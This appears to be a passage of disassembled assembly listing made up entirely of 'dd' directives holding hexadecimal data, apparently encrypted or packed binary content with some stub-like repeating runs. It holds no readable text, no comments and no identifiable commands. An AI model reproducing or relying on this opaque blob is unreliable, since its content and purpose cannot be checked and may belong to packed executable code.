		dd 0F0FE359Eh, 362DDh, 34574500h, 7535CCE9h, 78D39D78h
		dd 3EB8DB7Eh, 0EB18B339h, 0FD3360DAh, 837F9556h, 0FE7852F1h
		dd 0E97B9151h, 9F77FD7Bh, 62C9AEE3h, 2E430888h,	303360ACh
		dd 273B88DAh, 4FF470CDh, 0ECD67799h, 0D3392996h, 1BBC3AAAh
		dd 3360ACF6h, 6A13C5E8h, 0F3E3DF88h, 2685A1E7h,	0BE461C5Fh
		dd 39D7953Fh, 3EA5234Dh, 2199C02Eh, 156F5831h, 7103FF2Ah
		dd 1E40E8CEh, 0B3148E38h, 8EE9F8A8h, 9272EA9Bh,	0D0000007h
		dd 0E5A0FD17h, 0B79E2BC1h, 42CD58B2h, 16318C62h, 0DA61BC6Ah
		dd 9E487483h, 0CB250403h, 0FA2CD77Eh, 28C2E0AFh, 0A00B959Dh
		dd 3360D203h, 5BA0F215h, 0C02E3E87h, 481AB5D4h,	889AFBA2h
		dd 22BAA87Ah, 0CCE91889h, 0B8940E35h, 0A45D746Dh, 131CF0FEh
		dd 54000000h, 7617F9EFh, 0F620C38Ch, 59196B57h,	27A72h
		dd 3457D600h, 7535CCE9h, 78D39D78h, 3EB8DB77h, 41CFA901h
		dd 0DAF310BBh, 0DE53360h, 60DA254Eh, 85DFCB33h,	58B2B01Fh
		dd 8A6042CDh, 0F85C47ECh, 60DA325Fh, 0D2CE2433h, 883D37ABh
		dd 2C4AC302h, 7BD5A5D0h, 1B24846Ah, 4ED4AE78h, 1EB409EDh
		dd 0D235AD38h, 8EEA2D8Dh, 0CE658382h, 14000006h, 216CB953h
		dd 0EB52EF05h, 86811CF6h, 52FD48A6h, 9E2D78AEh,	5A8CB03Fh
		dd 8F6140CFh, 0BE680B32h, 0EC062463h, 0EC4FD151h, 3360D547h
		dd 5B643E69h, 913C6D87h, 0D023BD1h, 28C2E443h, 0AE7C965Ah
		dd 2ADB56BCh, 0F0FEA48Fh, 731CCB3Bh, 2E643672h,	73B54h
		dd 72E70000h, 1BFh, 0E93557D6h,	777635CCh, 5F11FCDh, 0DC14F05Bh
		dd 14B33EB8h, 1F83BA54h, 6AF4EE45h, 0BAF71DCDh,	0A97D42B2h
		dd 0D4D5BAF3h, 8831319Eh, 950930DAh, 0CB0A80B9h, 23833432h
		dd 7A381E27h, 0ACC576FCh, 0B2389FF7h, 0F79E3358h, 2E80389Fh
		dd 1A7E8F1Ah, 0F6EEDAFFh, 54A714B1h, 1FB4CE17h,	790D3CA3h
		dd 6F1E8EE9h, 60809h, 73994E00h, 0A54F1F26h, 0D63C2D68h
		dd 2ECFC5Bh, 32E488B7h,	0EE09A4E7h, 0BE9914C2h,	49F441AFh
		dd 1A2570A6h, 0F17A248h, 0D4BDD681h, 78A33360h,	6D875B3Ah
		dd 3BD1913Ch, 0F3010D02h, 0AEB80121h, 0CDB92544h, 0CD6EF470h
		dd 35CCE9A4h, 0CDC3544Ah, 0BB116995h, 0A158B5CFh, 0E0F0FE19h
		dd 7, 0F172A2h,	57D60000h, 35CCE935h, 0D09E7776h, 0B8DC8567h
		dd 0BFB9113Eh, 0F3EB5210h, 827E6019h, 83557FE4h, 0FB4B0F1h
		dd 2B5B365h, 3360DAE1h,	0FA491BF7h, 0FF6402E8h,	0F56600EAh
		dd 3360DA5Ch, 0AB1A6842h, 376FA223h, 0A3C06B07h, 0B5336006h
		dd 4BF5655Dh, 2B5B3AFh,	381EE5ACh, 0C66FD0CAh, 3D8EEA5Bh
		dd 53FEC08h, 0A0850000h, 9650FF4Ah, 4566217Ch, 352B12AFh
		dd 0DDC74EDBh, 0D26BBE0Bh, 50ED3B25h, 8D18F6F5h, 0FC499F82h
		dd 2E7B9151h, 0F41DBE40h, 0FA3360D4h, 875BF34Fh, 0D1913C6Dh
		dd 10D023Bh, 0EB0121F3h, 0A40AA15Eh, 1549F0FEh,	0C9000000h
		dd 0C38A8A7Ah, 0C13E8F46h, 1E4FA586h, 3048AEA4h, 10000000h
		dd 0C869875Bh, 0EDDF4651h, 0DDB78B55h, 1C08CC4Ah, 14D67920h
		dd 21004FFEh, 4C779ECFh, 2EE4E39Ah, 0BF7B55D4h,	39D39745h
		dd 2F88ECh, 7AD00000h, 0C9C7B18Ah, 0CCE2C56Eh, 7FFEB35h
		dd 552FBCF5h, 7716FCEEh, 0CCE9BAD4h, 45AFBC35h,	13F9E924h
		dd 0CB39F56Ah, 0BAC8D84Ah, 5907A68h, 6D875BC9h,	0FE17D63Ch
		dd 0DCFDC770h, 13B83EB8h, 1ACCF74Eh, 0AA40612Eh, 0E18F7BD8h
		dd 0EAFC5Bh, 0F71DCD72h, 0AE0C269h, 4C1E3978h, 0CE0F87A6h
		dd 53A32937h, 8B0BAD15h, 8C0F4546h, 38145581h, 0D67DFBD7h
		dd 0EA70FE14h, 94292041h, 0E58F3638h, 740D4733h, 81A019C9h
		dd 0E8C43E6Fh, 619C59B1h, 325A5407h, 963D33EAh,	88273DEBh
		dd 0F292AD12h, 0C045883Dh, 40CA4h, 779D4A00h, 0A14B133Ah
		dd 0D2382914h, 6E8F847h, 36E08C8Bh, 0E20DA0FBh,	0B29D28FEh
		dd 45C05DB3h, 16318C5Ah, 363BE54h, 0D6A9DA7Dh, 0CBF3360h
		dd 6D875B36h, 0CC7575D0h, 621BF721h, 0B4D53F23h, 7BA9DBD7h
		dd 43308D67h, 0F0FEA4A8h, 46E7h, 0FC7AAB00h, 0CC7D9757h
		dd 0E908B9D2h, 0A41E35CCh, 6EA726AEh, 38EB5700h, 7F33EB2h
		dd 19CFF259h, 0A6668D8Ch, 4664336Ah, 666E6AA8h,	17034911h
		dd 2AC0E249h, 0BCF58F73h, 0BE680BB0h, 0A2741FA4h, 3777DFBh
		dd 7A250000h, 4A27868Ah, 0BDB738DDh, 0FF799451h, 0E97BAD50h
		dd 0E3D6D07Bh, 2E803EB2h, 724D9347h, 55F4E00Ah,	9BC2283Ah
		dd 92077D25h, 17BCBA53h, 3FA5BF51h, 14CC129Ch, 0D36E4438h
		dd 16FCEE55h, 0D835B05Ch, 0BDF13D9Eh, 0DE533FEh, 0D90F315Ch
		dd 8DAF679Fh, 0DDC12765h, 22EE2687h, 8D8845D0h,	7BBE48E3h
		dd 0B2282D40h, 0E00AD867h, 0BA5416B9h, 3EB47FB8h, 8F2836FDh
		dd 2F54C162h, 17A29E74h, 0E6C46E6Fh, 75615D0Ch,	59CA6DEBh
		dd 82F54C1h, 924F19A1h,	37A3DC61h, 4E04B73Dh, 21242AC2h
		dd 184197BAh, 9B77ACA6h, 0CD06AFE2h, 0B17914F2h, 8C2CC743h
		dd 306BD1C0h, 0D7000000h, 3A24E11Ch, 1A07F6CAh,	0E270CA78h
		dd 2C2FDB7Ch, 0EBC73EB2h, 0CDF61FB2h, 0E189336Bh, 80FC1793h
		dd 0E14EF659h, 8E7029FFh, 0D19BF4h, 5B070000h, 0C02E3E87h
		dd 761AB5D4h, 0E977F9A0h, 0CCE9254Eh, 3051FA35h, 2635CCE9h
		dd 182793CCh, 62D1A375h, 5CF3AA40h, 6229648Eh, 35CCEEAAh
		dd 43C705F9h, 912DDBB9h, 846E7CC3h, 0E55C0E09h,	0E3F2BC1h
		dd 836979E6h, 5DB7ABDAh, 48C97161h, 0AA86F8A7h,	54B12CD8h
		dd 862B8C0Ah, 0A835CC9Ah, 19B22032h, 3EB2B695h,	976F09E1h
		dd 8734F5DEh, 8AC79D97h, 620C09C4h, 12F40BC9h, 45239F38h
		dd 0BA6C10BFh, 0FE451F83h, 8E8904D2h, 56D334E2h, 6D8EED5Bh
		dd 1F79CD8h, 687D0000h,	5E083782h, 0DDE79B4h, 0FDE3AAE7h
		dd 95BF8613h, 1AB3F643h, 0E825F39Dh, 0C550BEADh, 3481577Ah
		dd 66B35909h, 0ACC576F8h, 0B23360A8h, 0B95B0B17h, 776BD26Fh
		dd 1CF6009Dh, 913A24E1h, 3EB2D8E9h, 0D574158Dh,	336AC6B8h
		dd 5DD92BC7h, 0F6588BA6h, 5AB4AB10h, 0CAA5BF23h, 0D5h
		dd 0C3293D9Ah, 875BF1B1h, 0E917BC1Fh, 0A11935CCh, 577994B5h
		dd 0B8A811D2h, 0DFC37A56h, 2D5CB6B0h, 65A4C5B1h, 35CCEEA7h
		dd 0AEBE07DBh, 0B4A11940h, 0C049EA10h, 7DFBD7C3h, 4EFF15D6h
		dd 0D3CF2107h, 6545C081h, 0F5F0DE8Fh, 29FD5E18h, 4D3EB24Fh
		dd 9FCE2406h, 14FA3723h, 0C2323CD9h, 50734748h,	75E2AE86h
		dd 19B22032h, 38120B18h, 0BA03276Eh, 0B81A43A9h, 9809A2CCh
		dd 8E38820Ah, 0B03E3814h, 0A7BD570Bh, 17A27418h, 6DD20428h
		dd 8EEDD8A6h, 2F07419h,	40000001h, 15308D67h, 276EBB51h
		dd 0F25DE802h, 86811CF2h, 0AAF14C9Ah, 2EF8E413h, 5BB5B493h
		dd 8A5C47CEh, 0B852103Fh, 0D07B056Dh, 3360ABB3h, 5B3002A5h
		dd 5A016FB9h, 55EC668Ch, 8712F8EAh, 6D875B4Bh, 3FD1913Ch
		dd 26C4D94Eh, 97221EE6h, 0EC3E2289h, 0A8E2C76Eh, 3554402Bh
		dd 9253BBC9h, 9456FD7Bh, 81D3CF7Eh, 8D1B813h, 69D63EB8h
		dd 6CC39147h, 0BDEC3A25h, 0B8345541h, 85A44E13h, 0E6C44B19h
		dd 29B7B10Ch, 61EC658Eh, 0C59F0B33h, 0E7866C7Eh, 49352CA4h
		dd 5DB7736Ch, 9E2301AEh, 877B22C8h, 7200F2ABh, 0BAF71DCDh
		dd 935542B2h, 7A5E700Bh, 0B8E10FDDh, 0A3870C46h, 83A04A1Ah
		dd 8C06FD25h, 5A04F0ECh, 9DD67BDCh, 0E2D86C49h,	0D2923D90h
		dd 0E4C20D3Ch, 33305F0Eh, 8F43A0D9h, 6BBDA775h,	0BBC9D17Fh
		dd 6937969h, 98C12B3Fh,	0C46DCE54h, 0FA6C499Dh,	7F6B04EAh
		dd 377E5h, 1E2B0000h, 68825B82h, 26CC9E31h, 0F325C807h
		dd 0CA243B4Ah, 86507C93h, 5284A8E7h, 2AC4E42Bh,	0E50FDC73h
		dd 0B75D0944h, 8953A496h, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 32682404h, 8900002Ch, 0EAB8242Ch, 0D0A3D07h,	742C232Ah
		dd 25D4BB53h, 0D809545Fh, 2E2D405Bh, 2D237A2Bh,	5458C951h
		dd 242C8B54h, 4C481h, 51500000h, 0AF7700B9h, 244C2917h
		dd 458F5904h, 8458108h,	17AF7700h, 5D2434FFh, 8B04C483h
		dd 89532404h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 39D9E95Ch
		dd 1015FFFAh, 4342B887h, 0C50306ACh, 54E8E0FFh,	0B5444771h
		dd 1843C22h, 0FEBB4B3Fh, 0AC267BEBh, 56BD5382h,	51016760h
		dd 0D14D67DDh, 9797010Ah, 0D14F2182h, 33F5557Ah, 0ED156C5Fh
		dd 451D4F23h, 0C0B0405Fh, 541D3D54h, 8DFD429Ch,	2F3F4F83h
		dd 0A73163D1h, 0FE86004h, 1A000000h, 94A2100Ah,	3D40A9F7h
		dd 0C9319C79h, 0B96648BEh, 805FEF34h, 0C78141D1h, 6509h
		dd 0F68FBB1h, 8A000019h, 8B6658C8h, 8137FFD8h, 0DB3BACD2h
		dd 0EB815E46h, 11B22E17h, 0C29C681h, 13E80FFFh,	0CE000000h
		dd 8855CF79h, 9B9C5B55h, 0C334BB02h, 1E934D45h,	5BFCA0D0h
		dd 6276F681h, 0BB66360Ch, 0C6818A16h, 4A0E37ECh, 55670DBBh
		dd 8F0F5663h, 0Ah, 0EBC38160h, 8B24A9EFh, 78F61D8h, 0EF81F4B5h
		dd 4FF0BDB7h, 38E0Fh, 0F6800000h, 0B3C781DAh, 8A4FF0BDh
		dd 850F48F3h, 1Bh, 29E9D18Bh, 8C000000h, 9AEC221h, 0CC2AD2FBh
		dd 4EABFEE5h, 6C03F3ADh, 0B5BDDD56h, 0FF67E91Eh, 0B2F6FFFFh
		dd 33346BC3h, 0D95CD2CDh, 1FF2827Ah, 45AE8D8Dh,	0EA8106ACh
		dd 0CEBE90Ch, 6AD8D89h,	0CA8106A6h, 35117D9Bh, 40D85C7h
		dd 724006A6h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 9563D7C3h, 0F8EA206Ch, 0BA66A88Ch
		dd 85C7D343h, 6A60BE9h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F3C35141h
		dd 850F76E8h, 1, 61B5FFFCh, 0F506A608h,	1A7995FFh, 6A06A6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7521E9C3h, 3DB58986h, 6A06A608h, 5995FF00h, 8B06A629h
		dd 0C4FEBC0h, 20466332h, 30E42EC4h, 33531708h, 0D74365A2h
		dd 13ECE49Ah, 1BDD7C19h, 5A228F3Fh, 9E14ADA9h, 29176EA1h
		dd 0DD507A17h, 293FA587h, 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h
		dd 0D60993A6h, 0E5A30067h, 5973F92Bh, 0E41E7FF5h, 122F3220h
		dd 0AEE962A0h, 70000001h, 272BAD94h, 0D31AD52Ch, 0D746B198h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 0Ch dup(0)
		dd 0FB1E900h, 81680000h, 0E906AC49h, 0FFFAF8AAh, 0AC4A5568h
		dd 0F8A0E906h, 0DD68FFFAh, 0E906AC4Bh, 0FFFAF896h, 0AC4CC168h
		dd 0F88CE906h, 2B68FFFAh, 0E906AC4Eh, 0FFFAF882h, 0AC4F0868h
		dd 0F878E906h, 0BB68FFFAh, 0E906AC4Fh, 0FFFAF86Eh, 0AC503368h
		dd 0F864E906h, 0A68FFFAh, 0E906AC51h, 0FFFAF85Ah, 0AC519368h
		dd 0F850E906h, 3D68FFFAh, 0E906AC52h, 0FFFAF846h, 0AC52F368h
		dd 0F83CE906h, 8D68FFFAh, 0E906AC53h, 0FFFAF832h, 0AC54EC68h
		dd 0F828E906h, 0CB68FFFAh, 0E906AC55h, 0FFFAF81Eh, 41EFDD78h
		dd 0B21E1A9h, 0DF75BD9Fh, 0ED8B47C3h, 0B0DE0635h, 97A4D37Dh
		dd 0A1970329h, 7EDFCB61h, 33049CBAh, 0B246A7CDh, 0E8B42BC0h
		dd 9525B90Ah, 90A16728h, 11D77838h, 382AFC60h, 1194FCB3h
		dd 8A505731h, 0CB294785h, 0C7A963FFh, 183B1AD1h, 8A4AC11Dh
		dd 0EFAE7224h, 0E7D56625h, 0AEEDD0Ch, 0A95E4A92h, 0A360A0E9h
		dd 0EB08444Ch, 374F2Ch,	122F0000h, 0EE908A26h, 183B2BA2h
		dd 0D2AA44B1h, 0E3B9307Dh, 8BFAC62Ah, 1F1C48F0h, 0C13B4E0Eh
		dd 0AEE4C26h, 0FF5060B8h, 7040839h, 71216159h, 202CEA7Bh
		dd 0C9h, 0A1672818h, 0DF053690h, 0F93F10AAh, 1BD97E48h
		dd 1328B7Dh, 2E571195h,	0F03C630h, 0ECD467D4h, 7ED1898Eh
		dd 371890BEh, 745C40F1h, 39122EF8h, 0A40ACA41h,	0E79A5AFCh
		dd 4F6A261h, 183A48BCh,	0B816DB80h, 244BA052h, 0BFD90AEDh
		dd 0F50F3946h, 132FF997h, 5434FB37h, 1426F06Ch,	0E9230AE9h
		dd 6E2DB9DFh, 95ACBD9Ah, 786A3C11h, 4446173h, 879097F1h
		dd 0BD7C1h, 0DD7EAAC0h,	87B91317h, 1A2FBADFh, 0D13A1h
		dd 3CECA900h, 76B29A16h, 8A4AC0D8h, 0D80834ECh,	0EFD566B2h
		dd 9504AC41h, 0D8D07EA6h, 98B676h, 75ADCB09h, 0B17402C2h
		dd 0B3FAF1E3h, 16680AE8h, 0BD6328A6h, 0F4341B97h, 85B44C5Eh
		dd 652A2A5Fh, 8A2612C1h, 2BA2EE90h, 9AF2183Bh, 0CCFAF5E7h
		dd 58640AEEh, 0FB722260h, 0AF212CEAh, 19000000h, 90A16728h
		dd 6F847638h, 0FD1194FCh, 18DF819Bh, 8A1194FCh,	2615CDF2h
		dd 68514BFEh, 13119501h, 162AFC3Ch, 2CAEFF20h, 0FADE2E61h
		dd 0BC63E594h, 0F53B1C94h, 0E4784044h, 73784032h, 730F183Ah
		dd 0E56B1EDAh, 39573126h, 5973EFDBh, 0B176B699h, 0C055F5E7h
		dd 1F461196h, 0ECAA3067h, 6AE3A0D4h, 0D3783812h, 0E0AB47EDh
		dd 39966020h, 0D366BAE0h, 0C3FD6h, 10D07D00h, 2AEEAE7Ah
		dd 7EA6940Ch, 8C7CD8D0h, 0C3010AE6h, 0B9D878B5h, 0EC045292h
		dd 0D4CC6AAAh, 1991BF65h, 4D58F636h, 0B226CDBFh, 3A840AE8h
		dd 0BD632892h, 0F4341B97h, 67283E5Eh, 13690A1h,	7B47B5C3h
		dd 216D35E7h, 435F55Bh,	338FA200h, 0AD7FDD1Dh, 94FC34BBh
		dd 0D1D6B611h, 10EB5507h, 0B5D3183Bh, 0E8DB1484h, 0A0C0AEEh
		dd 206BB7CAh, 0D137F55Ah, 0FBB79A0h, 70ED3F52h,	8A658E8Ah
		dd 0AB403246h, 390AEE60h, 623AF95Fh, 8F9CF4B6h,	7C172CEAh
		dd 77000000h, 908A2612h, 3B2D16EEh, 3CEE6E18h, 0CA73786Ah
		dd 97F10AEEh, 0CCFDE72Eh, 8B887284h, 96FB62B6h,	0EB8D794Fh
		dd 7E0949Bh, 990AEE45h,	7F17534Fh, 322CEA70h, 43h, 8A26126Ah
		dd 149EEE90h, 96F6183Bh, 709C9E3h, 0BB34C0C7h, 250AEEE3h
		dd 3AC62F9Bh, 0A3D2D113h, 2CEB11F3h, 25BEh, 1571EC00h
		dd 5E954777h, 0CC0AEEF9h, 0EA903588h, 0B3382AFCh, 310AEE47h
		dd 9F65057h, 851h, 0E7236F33h, 26120620h, 97CE908Ah, 64093E36h
		dd 0D99390AFh, 1840498Ah, 865A4C08h, 0CD2573B1h, 9C73E4Ah
		dd 0E69D5CE1h, 64609761h, 8AC20AE7h, 0C7B31524h, 6F8F712Bh
		dd 801193AAh, 682F5BF0h, 51B799A8h, 11E68820h, 93043B1Eh
		dd 879097F5h, 40BD7C1h,	0DD72AEC4h, 9E6A6A1Fh, 6E660802h
		dd 360AE127h, 3B965256h, 0EF5AB430h, 0AB7F2h, 9848F500h
		dd 0D21626F2h, 0E62E6C84h, 34F45048h, 4B89821Eh, 3160F02Dh
		dd 64BCDA1Ah, 0AC4412D2h, 910927EDh, 0D5D07EBEh, 0B19E5507h
		dd 0B20C0AE8h, 341A261Ah, 0FC599E40h, 8DCB1194h, 19D9732Fh
		dd 0FD856E1Ah, 215C1194h, 0D4828E8Fh, 0F59B9855h, 0D587910Dh
		dd 18411586h, 0BA465034h, 3D235692h, 18E0D67Eh,	46B9284h
		dd 41F9EF40h, 0E39656F9h, 4C181F7Dh, 94E5C59Ah,	0C3B54711h
		dd 43C582Ch, 6554C1BEh,	0EEE01E0Fh, 0A0702A88h,	74DF36EFh
		dd 0EDACA1B4h, 0ADDC0435h, 0F32F45ABh, 0EBED9C5Ch, 0E789831Fh
		dd 0AE8AC1Fh, 6F33E563h, 5842E828h, 4C73B198h, 0A963A196h
		dd 0A360A0E9h, 1FD31A8Eh, 4A167D90h, 7C1C03C1h,	80CB0794h
		dd 5D9F919Eh, 493B2DFFh, 8D84365Eh, 1C0BC7CBh, 0C3D2D85h
		dd 9D393h, 7CACE900h, 0B672DAD6h, 0CA0A0098h, 18C874ACh
		dd 2F95A672h, 0D544EC01h, 1890BE66h, 4058F636h,	0B56D0BC9h
		dd 0F1344282h, 0B0BA3123h, 0D6280AE8h, 8A261266h, 4271EE90h
		dd 0FF031841h, 0A76F2D53h, 0CE2CB292h, 0CE3604DCh, 0E8286FBBh
		dd 1D3858Ah, 661BDB71h,	0D67921E6h, 0DBD90416h,	5A2436ABh
		dd 1D95A360h, 5CB403Ah,	54061074h, 0AE8C79Fh, 33E54B0Dh
		dd 0C7787F61h, 92EA0AE8h, 50389CADh, 4718CADCh,	0CD11950Eh
		dd 4EC1918Bh, 708E08Eh,	8CAED7C1h, 0FAA9E71Bh, 0A1B40263h
		dd 0BCE8F0E7h, 0A27E4AFFh, 87652AE6h, 0A37527BBh, 0D61DCF91h
		dd 54043CF1h, 0F1B14630h, 5533043Ch, 3784A256h,	4A940AE9h
		dd 5090B8CEh, 7BD9BFF2h, 0C4BE91A1h, 9AFA8F75h,	0F25E6234h
		dd 7D726436h, 0EFFD90ABh, 1682AA69h, 5A4EE321h,	0FD90AB91h
		dd 0ECA2947Ch, 1E7CA496h, 9587E56Bh, 3CF138E3h,	8D7F0104h
		dd 0F6E46466h, 8A8380C4h, 0D4BDD8F2h, 7DFD4789h, 39F9534Fh
		dd 619CAE7Ah, 2A989389h, 0EDB57A63h, 0D4CC6AAAh, 88CBD63h
		dd 8FAAC40h, 0FD913553h, 126E2DF1h, 38A88B60h, 197F19F0h
		dd 0F386E468h, 0F63619D9h, 3EDEDD43h, 1ACCDE52h, 0F6DEAA4Eh
		dd 0DF0534CEh, 876C1EAAh, 0E5E992A7h, 0FBBF1D63h, 0A02DCE39h
		dd 69716ADFh, 3000008h,	74ACCA06h, 0BA761CC4h, 0EE3A5090h
		dd 0D0C866A2h, 69FB57Bh, 4CC4FAEh, 5C9CB26Eh, 9153FA36h
		dd 0A8682FFBh, 0A7491B82h, 0AE8AE50h, 28C840D2h, 2BF7A167h
		dd 8E8EA36Fh, 296EB889h, 2824FB51h, 15D7BA1h, 0D4B8C92Fh
		dd 0D5EBC376h, 0F33106FDh, 0F8AEE6A5h, 11E53390h, 37000000h
		dd 0BE7C7365h, 6EEE1194h, 8C098DA9h, 41000004h,	0C1898A23h
		dd 7BBF1832h, 86E4AE18h, 432E294h, 27A183Bh, 0BCD27719h
		dd 23FFDDFAh, 5AF3AF6Bh, 0FFB999Eh, 1ABE3527h, 282C37E3h
		dd 0DE2ED0CAh, 363E8923h, 0D5BD2356h, 0DB6EAAE3h, 53051775h
		dd 37E682B8h, 0EEB06AE2h, 45A479D2h, 0A2C8D697h, 0B9612684h
		dd 0EE385696h, 0DC52ADCh, 21272A93h, 5197B862h,	2E33AD51h
		dd 118ABFE1h, 78Ch, 89A76520h, 53F93911h, 670DF547h, 35438F8Bh
		dd 0F8965EFDh, 2F6C8B25h, 0F95F4BE1h, 0B6871339h, 4BCC2472h
		dd 6A3EEF85h, 0E8AD7378h, 2D6DF10Ah, 90A16728h,	0B1DF0536h
		dd 9D4F7743h, 1194FC56h, 0A1E8B0D4h, 590B1D63h,	184142D0h
		dd 0F12D6895h, 0E9C1BA06h, 2CF8B019h, 959AF8D2h, 0ED2C480h
		dd 1D1CB09h, 0D6B6CB0Bh, 0E8AF7BD1h, 0CBB71928h, 0EFB34557h
		dd 0DEAA69A9h, 1194658Dh, 8B574107h, 0FC2E4484h, 9BAE1624h
		dd 6B2CF6B5h, 0D8886F11h, 621A043Bh, 0FA516D1Ch, 0FFE1C25h
		dd 4FE33710h, 0AB6B4217h, 0CFF351B7h, 0BAD65B21h
		dd 0D9C93207h, 93000006h, 0C4DC7AB6h, 0AE68C74h, 7EAAC000h
		dd 0A07816D2h, 960F25EBh, 0B47CDF3Eh, 0CC0C029Eh, 1C34AA6h
		dd 5898BF6Bh, 37D9EB32h, 0AE8ADC0h, 1278D022h, 631F3026h
		dd 2A88EE2Ah, 42DD8E70h, 11771841h, 0EEAD7507h,	96B96126h
		dd 0C0B24456h, 0AE8B52Bh, 0C89D43F4h, 7DA3948Ch, 0ED4B48CCh
		dd 0AFC20235h, 0DBCD6129h, 8EE8BB29h, 7D3D5B11h, 0BADDA8DDh
		dd 61118ABFh, 1B000006h, 4CA4F23Eh, 0B26E04CCh,	0E6325898h
		dd 28C06E5Ah, 1E97BD63h, 0CF447B6h, 44848A66h, 995BF22Eh
		dd 0D01027F3h, 0AF5163BAh, 0AE8AC48h, 28F058DAh, 3690A167h
		dd 18AEC301h, 9CB36A46h, 4151365Ch, 70339127h, 7, 2A10928h
		dd 26410000h, 4FA0A7BFh, 0CCBE07C3h, 68A8E2E2h,	121177D9h
		dd 7001C748h, 1E08A46Ch, 5F85B44Ch, 0A09C943h, 4117ED7Eh
		dd 4BE16718h, 938F85Fh,	38569EBDh, 0C52ADCEEh, 270AE888h
		dd 0B6826221h, 38498F80h, 3224F654h, 1194CF10h,	0D955E7BBh
		dd 3C42C037h, 0C42A2204h, 7BECD3B5h, 0C0770B1Dh, 0E5EF1600h
		dd 0B07D48C0h, 76A28A89h, 546E03C1h, 840839E7h,	847620BCh
		dd 0AE32278h, 7C8080C4h, 0C0B431F6h, 58A8C79h, 67220000h
		dd 3B138FA5h, 0F35951FFh, 818D6533h, 5CFF2B41h,	8D27FE94h
		dd 49E72D6Eh, 113FFF51h, 0DA70B099h, 0ED8B49CEh, 71866838h
		dd 0F30AE8ABh, 67282F6Fh, 763890A1h, 94FC6F84h,	949BFD11h
		dd 0F68B49CEh, 0A5EB1220h, 38AE8819h, 9703D9DEh, 7319DF70h
		dd 67A7E9A9h, 3E4D72D2h, 33910D56h, 75Dh, 4B093D00h, 41000001h
		dd 63156728h, 1194FC8Ch, 0D318CA1Eh, 511194FCh,	4F73D137h
		dd 0C83022B7h, 15750F9h, 0BB000005h, 0EC04529Eh, 0D2CE64ACh
		dd 692B878h, 48A0CE3Ah,	0BE771DC3h, 6C54E716h, 0A4642AC6h
		dd 0F93B128Eh, 30F04753h, 0FF1831Ah, 0AE8ABE8h,	2850F87Ah
		dd 3690A167h, 13D37901h, 0E998FE5Eh, 7C930FD1h,	2BEFAFDBh
		dd 0BAD03616h, 9126CDC5h, 1AC433h, 4D60000h, 94F49D52h
		dd 5CF30F11h, 0DD793E9Ch, 0C509h, 0BF094100h, 41000000h
		dd 0A1CEBF26h, 206DE441h, 39B59D63h, 0AEEA7D6Fh, 0BA231840h
		dd 0A1E29491h, 0C037D9F3h, 220AE86Dh, 56C7C42Ah, 0B59D0336h
		dd 8F7D6F39h, 0CF118E81h, 7F8F8989h, 1425BADDh,	457ABh
		dd 0F8281500h, 32F64652h, 468E8C64h, 9454F028h,	0AB6922FEh
		dd 51C0108Dh, 841C3AFAh, 0CC2472B2h, 31E9874Dh,	75B0DE1Eh
		dd 0AA3EB5A7h, 52AC0AE8h, 8A2612FAh, 4B5AEE90h,	522A183Bh
		dd 5292B878h, 5F171D78h, 212E6D7Ah, 0A5D0CA62h,	66769A23h
		dd 4DB398E6h, 945C28EFh, 4B0AEE4Fh, 4F20D7B9h, 0CA820AEEh
		dd 0FA3A1DC5h, 0F93F1020h, 69C7C448h, 0A9E19BB1h, 0A2760B69h
		dd 0B47BB99Eh, 3D7CFh, 26128F00h, 7DEE908Ah, 54184143h
		dd 5FF08A8Ch, 0E3743B99h, 8F0D465h, 59FE8294h, 1EC0949Bh
		dd 118EC8F2h, 3EFE5161h, 0A868EC79h, 0BADDC6BAh, 0A1827FCAh
		dd 0DB000003h, 0CE4B27Eh, 72AEC40Ch, 0A67218D8h, 0E8002E9Ah
		dd 0DED77DA3h, 0CC340776h, 4C44AA6h, 599BB26Eh,	9050E733h
		dd 6F1123FAh, 0AE8AA88h, 1230981Ah, 6F193026h, 94FC767Dh
		dd 3290F411h, 35D6067Fh, 0F00F0C8Dh, 681A0C92h,	1840D8FBh
		dd 32F24599h, 0E1BB197Fh, 90BE7ED1h, 5D924416h,	0CF0AE84Ah
		dd 7FD08A89h, 3C0488B9h, 96F4341Ah, 9024D284h, 0F0941194h
		dd 0F7351A26h, 0ECE4159h, 31AD957Bh, 34F45B67h,	19B3A577h
		dd 0CD0AE20Dh, 219D878Bh, 2613B431h, 307BDh, 2898A500h
		dd 62A69602h, 0B67EDCD4h, 0C4040098h, 1BD972AEh, 0E110A07Dh
		dd 0D4CC6AAAh, 1C94A262h, 4159F73Dh, 85600ECEh,	0A9EE05F7h
		dd 0E27C0AE8h, 0A16728AAh, 3F1D25F7h, 0FCEE05F7h, 0A27C1194h
		dd 3A1A2FEDh, 5662D7D4h, 0FC1DD284h, 0C98F1194h, 0F93F10CAh
		dd 0FF3B132Fh, 19DF704Ah, 8186E468h, 0E17D45ABh, 0CDF86537h
		dd 0B682C6C4h, 4E68F3D1h, 88EE4FA2h, 0FB9BF18Bh, 8DCB183Ah
		dd 0BEE30CFCh, 0A37D0AEEh, 4AC29E77h, 0BEA3483Ah, 47010AEEh
		dd 0D11139E1h, 88FFBCA0h, 2CEAE908h, 9353E5BDh,	20CEACh
		dd 12AE0000h, 0EE908A26h, 183B2BA2h, 0F5E79AF2h, 0AEECCFAh
		dd 22605864h, 2CEAFB72h, 0F621h, 67281900h, 53690A1h, 3F10AADFh
		dd 38132FF9h, 0FC559A4Ch, 0B1D71194h, 0B8841E53h, 1425EA48h
		dd 28065984h, 0D8D2344Dh, 72080FDBh, 93B91FDDh,	94D49029h
